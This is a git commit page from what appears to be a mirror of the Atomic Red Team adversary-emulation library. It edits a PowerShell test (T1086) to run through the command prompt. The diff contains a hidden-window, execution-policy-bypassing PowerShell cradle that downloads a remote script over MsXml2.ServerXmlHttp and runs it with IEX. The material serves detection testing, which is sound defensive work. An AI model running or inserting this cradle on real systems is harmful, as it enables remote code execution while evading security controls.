security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

t1086

Browse Source 
fixed a executor
This commit is contained in:
Michael Haag
2018-09-05 14:58:05 -04:00
parent c03d202bd5
commit 165ab03d68
1 changed files with 2 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1086/T1086.yaml
+2 -2
View File
@@ -132,9 +132,9 @@ atomic_tests:
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1
executor:
name: powershell
name: command_prompt
command: |
IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
- name: Powershell XML requests
description: |